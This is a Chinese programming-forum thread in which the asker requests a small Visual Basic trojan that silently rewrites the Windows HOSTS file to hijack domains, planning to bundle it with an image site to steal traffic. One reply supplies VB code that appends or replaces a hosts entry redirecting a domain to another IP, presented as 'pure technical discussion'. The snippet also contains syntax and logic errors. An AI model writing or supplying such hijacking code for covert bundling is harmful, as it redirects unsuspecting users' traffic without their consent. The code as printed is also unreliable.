有没有VB编写的修改HOSTS文件的小木马?解决方案

有没有VB编写的修改HOSTS文件的小木马?
就是VB编写的HOSTS域名劫持木马。
我想弄个研究下,捆绑在图片站上,给我的站带来点流量。

主要是研究下那个代码,有写过的贴出来看看,谢谢!

------解决方案--------------------
lz要做木马,不厚道
------解决方案--------------------
hosts文件只是一个不带后缀名的文本文件而已,直接用文本文件打开就行了
------解决方案--------------------
楼主好可怜,被惨无人道的围观,还有楼上不断扔砖。。。
------解决方案--------------------
行,我给你代码吧.

纯技术讨论.

VB code
dim Buff as string,LineBuff() as string
dim I as long,IsEdit as boolean

open "hosts" for binary as #1
    buff=space(lof(1))
    get #1,,buff

    if instr(1,buff,"www.m5home.com",vbtextXXXX)>0 then  '修改已有转向的情况
         isedit=true
        linebuff()=split(buff,vbcrlf)
        for i=0 to ubound(linebuff)
            if instr(1,buff,"www.m5home.com",vbtextXXXX)>0 then
                linebuff(i)="www.m5home.com 192.168.1.1"
                exit for
            end if
        next
    else              '没有这个转向,则直接添加
         buff=buff & vbcrlf "www.m5home.com 192.168.1.1"
    end if
    if isedit then
        buff=join(linebuff,vbcrlf)
    end if
    put #1,1,buff
close #1